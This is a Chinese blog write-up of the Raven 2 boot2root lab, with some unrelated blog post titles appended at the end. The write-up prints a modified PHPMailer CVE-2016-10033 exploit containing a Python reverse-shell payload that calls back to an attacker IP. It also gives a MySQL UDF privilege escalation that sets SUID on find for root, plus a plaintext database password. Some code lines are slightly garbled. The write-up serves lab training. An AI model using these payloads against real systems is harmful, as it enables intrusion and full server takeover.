0x00 前言

Raven 2是一个中等难度的boot2root 虚拟靶机。有四个flag需要找出。在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。

靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova

0x01 存活主机

1.在windows上的scan ports工具对目标整个网段(192.168.1.0/24)进行扫描发现192.168.1.12就是目标靶机,并开放了80,22,111端口。

2.在linux下可通过arp-scan和netdiscover命令进行主机存活探测,发现192.168.1.101是目标靶机.

root@backlion#arp-scan -l

or

root@backlion#netdiscover  -r192.168.1.0/24

0x02 端口探测

1.通过namp对目标主机进行端口扫描

nmap  -A192.168.1.12

2.发现22,80和111端口是开放的,其中80端口运行了一个web应用,可以通过入侵web进入系统,爆破22端口由于目标靶机设置的系统口令太强,这里不建议爆破。

0x02  目录猜解 

1.在linux中可以使用dirb进行目录扫描

2.同时也可以在windows上通过dirbuster进行目录扫描,更直观地看出目录结构。

3.扫到几个一级目录,一个个查看下文件的内容,在/vendor/目录下发现了两个有趣的东西:http://192.168.1.32/vendor/PATH,可以看到flag1和绝对路径

4.访问http://192.168.1.12/vendor/VERSION,发现某个软件的版本号,但不知道具体是那个软件。

同时目录下还存在一个PHPMailerAutoload.php的文件,配合起来看应该是使用了5.2.16版本的PHPMailer

0x03 反弹SHELL

1.在kali上可以直接通过serachsploit进行搜索phpmailer存在漏洞的exp

root@kali2018:~# searchsploit phpmailer

-------------------------------------------------------------------------------------------------------------------------
----------------------------------------

Exploit Title | Path

| (/usr/share/exploitdb/)

-------------------------------------------------------------------------------------------------------------------------
----------------------------------------

PHPMailer 1.7 - 'Data()' Remote Denial of Service |
exploits/php/dos/25752.txt

PHPMailer < 5.2.18 - Remote Code Execution (Bash) |
exploits/php/webapps/40968.php

PHPMailer < 5.2.18 - Remote Code Execution (PHP) |
exploits/php/webapps/40970.php

PHPMailer < 5.2.18 - Remote Code Execution (Python) | exploits/php/webapps/40974.py

PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit) |
exploits/multiple/webapps/41688.rb

PHPMailer < 5.2.20 - Remote Code Execution |
exploits/php/webapps/40969.pl

PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework /
zend-mail < 2.4.11 - 'AIO' 'PwnScriptum' Remote Code Exe |
exploits/php/webapps/40986.py

PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution |
exploits/php/webapps/42221.py

PHPMailer < 5.2.21 - Local File Disclosure |
exploits/php/webapps/43056.py

WordPress PHPMailer 4.6 - Host Header Command Injection (Metasploit) |
exploits/php/remote/42024.rb

-------------------------------------------------------------------------------------------------------------------------
----------------------------------------

Shellcodes: No Result

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /opt

cd /opt

2、也可以到exploit-db.com搜索,并发现利用exp地址:

https://www.exploit-db.com/exploits/40974

简单修改一下exp:

a.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。

b.修改target为靶机IP地址,利用文件为contact.php。

c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。

d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。

e.运行该python脚本需要安装对应的包(pip install requests-toolbelt),如下地址下载并手动安装

https://files.pythonhosted.org/packages/86/f9/e80fa23edca6c554f1994040064760c12b51daff54b55f9e379e899cd3d4/requests-toolbelt-0.8.0.tar.gz

3.最终修改成的POC:

# -*- coding: utf- -*-

from requests_toolbelt import MultipartEncoder

import requests

import os

import base64

from lxml import html as lh

os.system('clear')

print("\n")

print(" █████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")

print("██╔══██╗████╗██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")

print("███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝")

print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗")

print("██║██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║")

print("╚═╝╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝")

print("      PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")

print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")

target = 'http://192.168.1.12/contact.php'

backdoor = '/backlion.php'

payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.1.11\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'

fields={'action': 'submit',

   'name': payload,

   'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/backlion.php server\" @protonmail.com',

   'message': 'Pwned'}

m = MultipartEncoder(fields=fields,

                     boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')

headers={'User-Agent': 'curl/7.47.0',

         'Content-Type': m.content_type}

proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}

print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')

r = requests.post(target, data=m.to_string(),

 headers=headers)

print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')

r = requests.get(target+backdoor, headers=headers)

if r.status_code == :

    print('[+]ExPLoITeD ' + target)

然后执行exp,可以看到生成了一个利用用文件contact.php

6.访问contact.php(http://192.168.1.12/contact.php),此时就会生成后门文件shell.php

7.接着访问后门文件:http://192.168.1.12/shell.php

8.开启nc服务器监听,在服务器上得到反弹shell

9.进入到wordpress目录下的配置文件。然后查看其数据库配置连接信息

cd /var/www/html/wordpress

cat wp-config.php

10.查看一下mysql的运行权限(可以看到mysql是以root运行,并且也显示了mysql的plugin目录)

ps -ef|grep mysql

11.进入mysql数据库终端,可以查看数据库的版本,也可以查看plugin目录

www-data@Raven:/var/www/html/wordpress$ mysql -u root -pR@v3nSecurity

12. nc模式下的shell不支持su交互,先利用python提升到伪终端

python -c "import pty;pty.spawn('/bin/bash')"

进入到网站目录页面发现存在flag2.txt
cd /var/www

cat flag2.txt

13.接下来直接先全局搜flag:

www-data@Raven:/var/www/html$ find / -name "flag*"

找到flag3,是图片,直接访问
http://192.168.1.13/wordpress/wp-content/uploads/2018/11/flag3.png

14.然后切换到/tmp目录,下载LinEnum.sh脚本,该脚本是一个用于枚举许多基本和高级linux详细信息的脚本。

cd /tmp

wget http://192.168.1.109/LinEnum.sh

chmod 777 LinEnum.sh

./LinEnum.sh

我们发现了MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞!(更多信息:https//legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html

15.接着就是利用提权exp的利用了https://www.exploit-db.com/exploits/1518在攻击机KALI主机上进行编译生成so文件:

root@kali2018:~# wget http://192.168.1.5/raptor_udf.c          #kali系统必须是64位系统,不然会报错

root@kali2018:~# gcc -g -c raptor_udf.c

root@kali2018:~# gcc -g -shared -o  raptor_udf.so
raptor_udf.o -lc

16.从攻击机上下载提权利用exp文件: raptor_udf2.so

www-data@Raven:/var/www/html/wordpress$ cd /tmp

www-data@Raven:/tmp$ wget http://192.168.1.11:8080/raptor_udf2.so

然后通过mysql进行UDF提权(执行sql语句,其中dumpfile的路径要根据前面进程列出来的plugin目录(plugin-dir=/usr/lib/mysql/plugin)改动一下):

mysql>  use mysql;

 use mysql;

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

Database changed

mysql> create table foo(line blob);

create table foo(line blob);

Query OK,  rows affected (0.08 sec)

mysql> insert into foo values(load_file('/tmp/raptor_udf.so'));

insert into foo values(load_file('/tmp/raptor_udf.so'));

Query OK,  row affected (0.01 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so';

Query OK,  row affected (0.11 sec)

mysql> create function do_system returns integer soname 'raptor_udf.so';

create function do_system returns integer soname 'raptor_udf.so';

Query OK,  rows affected (0.00 sec)

mysql> select * from mysql.func;

select * from mysql.func;

+-----------+-----+---------------+----------+

| name      | ret | dl            | type     |

+-----------+-----+---------------+----------+

| do_system |    | raptor_udf.so | function |

+-----------+-----+---------------+----------+

 row in set (0.00 sec)

mysql> select do_system('chmod u+s /usr/bin/find');

select do_system('chmod u+s /usr/bin/find');

+--------------------------------------+

| do_system('chmod u+s /usr/bin/find') |

+--------------------------------------+

|                                     |

+--------------------------------------+

 row in set (0.01 sec)

mysql> exit

exit

Bye

www-data@Raven:/tmp$ touch finn

touch finn

www-data@Raven:/tmp$ id

id

uid=(www-data) gid=(www-data) groups=(www-data)

www-data@Raven:/tmp$ find finn -exec "/bin/sh" \;

find finn -exec "/bin/sh" \;

# whoami

whoami

root

#

17.最后进入到root目录,可以查看到falg4.txt

# cd /root

cd /root

# ls

# cat flag4.txt

cat flag4.txt

___ ___ ___

| _ \__ ___ _____ _ _ |_ _|_ _|

| / _` \ V / -_) ' \ | | | |

|_|_\__,_|\_/\___|_||_|___|___|

flag4{df2bc5e951d91581467bb9a2a8ff4425}

Raven: 2靶机入侵的更多相关文章

  1. Fowsniff: 1靶机入侵

    一.信息收集 1.存活主机扫描 arp-scan  -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...

  2. digitalworld.local: MERCY靶机入侵

    0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...

  3. FourAndSix: 2.01靶机入侵

      0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...

  4. Raven 2 靶机渗透

    0X00 前言 Raven 2中一共有四个flag,Raven 2是一个中级boot2root VM.有四个标志要捕获.在多次破坏之后,Raven Security采取了额外措施来强化他们的网络服务器 ...

  5. Moonraker:1靶机入侵

      0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...

  6. Typhoon-v1.02 靶机入侵

      0x01 前言 Typhoon VM包含多个漏洞和配置错误.Typhoon可用于测试网络服务中的漏洞,配置错误,易受攻击的Web应用程序,密码破解攻击,权限提升攻击,后期利用步骤,信息收集和DNS ...

  7. kali渗透综合靶机(十)--Raven靶机

    kali渗透综合靶机(十)--Raven靶机 一.主机发现 1.netdiscover -i eth0 -r 192.168.10.0/24 二.端口扫描 1. masscan --rate=1000 ...

  8. raven靶机

    仅供个人娱乐 靶机信息 Raven 下载地址:https://www.vulnhub.com/entry/raven-1,256/ 一.主机探测 端口信息 目录扫描 80端口 根据页面开始搜寻有用的信 ...

  9. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

随机推荐

  1. java.io.tmpdir指定的路径在哪?

    Java.io.tmpdir介绍 System.getproperty(“java.io.tmpdir”)是获取操作系统缓存的临时目录,不同操作系统的缓存临时目录不一样, 在Windows的缓存目录为 ...

  2. 【Ansible】ansible循环

    Ansible 循环 一.简单介绍 在ansible2.5之前,大多数人使”with_XXX”类型的关键字来操作循环,但是从2.6版本开始,官方推荐是”loop”关键字代替” with_XXX”. 1 ...

  3. MySQL基础练习(二)

    第一个例子我们编写一个 SQL 查询,列出所有超过或等于5名学生的课. 先建表 CREATE TABLE courses( student ) NOT NULL, class ) NOT NULL ) ...

  4. Vim YouCompleteMe 安装配置

    YouCompleteMe是很强大的vim插件,可以提供强大的补齐功能,曾经多次尝试安装,都没有配置成功,最近在一个契机下,看到有同事的配置,自己在边尝试和边咨询后,终于也搞定了,遂记录下. 官网有最 ...

  5. PSP Daily新增功能说明书

    1.选择输入类别时可以记录原来的输入,支持用户选择记录清空功能 2.添加“恢复最近”button,点击这个按钮可以跳出一个页面显示最近的excel记录,用户可以通过勾选相应的excel文件名,恢复选中 ...

  6. TeamWork#1,Week 5,Suggestions for Team Project

    我们团队联系到了我们六班的直系学长,并向他咨询了软件工程基础这门课的团队项目相关的问题.他们团队的名字命名为Z-XML,团队中的几个学长也都是我平时所熟识的.虽然学长已经大四,忙着考研工作等各种事务, ...

  7. wdatepicker控件de使用小方法汇总

    在总结wdatepicker控件的使用前,先插播一条吧,下午刚心血来潮百度的一条 问?C#中Int16.Int32.Int64.之间的区别,:::嘿嘿其实百度知道就有,但还是写上吧! Int16 表示 ...

  8. Web应用程序的基本安全实践

    创建安全Web应用程序的主题非常广泛.它需要研究以了解安全漏洞.您还需要熟悉Windows..NET框架和ASP.NET的安全设施.最后,有必要了解如何使用这些安全特性来对付威胁. 即使您没有安全方面 ...

  9. VMware上配置DPDK环境并运行实例程序

    1. 在虚拟机VMware上配置环境 VMware安装:http://www.zdfans.com/html/5928.html Ubuntu:https://www.ubuntu.com/downl ...

  10. NOI2002_ Galaxy银河英雄传说86

    NOI2002_ Galaxy银河英雄传说86     公元五八○一年,地球居民迁移至金牛座α第二行星,:宇宙历七九九年,银河系的两大军事集团在巴米利恩星:杨威利擅长排兵布阵,巧妙运用各种战术屡次以少 ...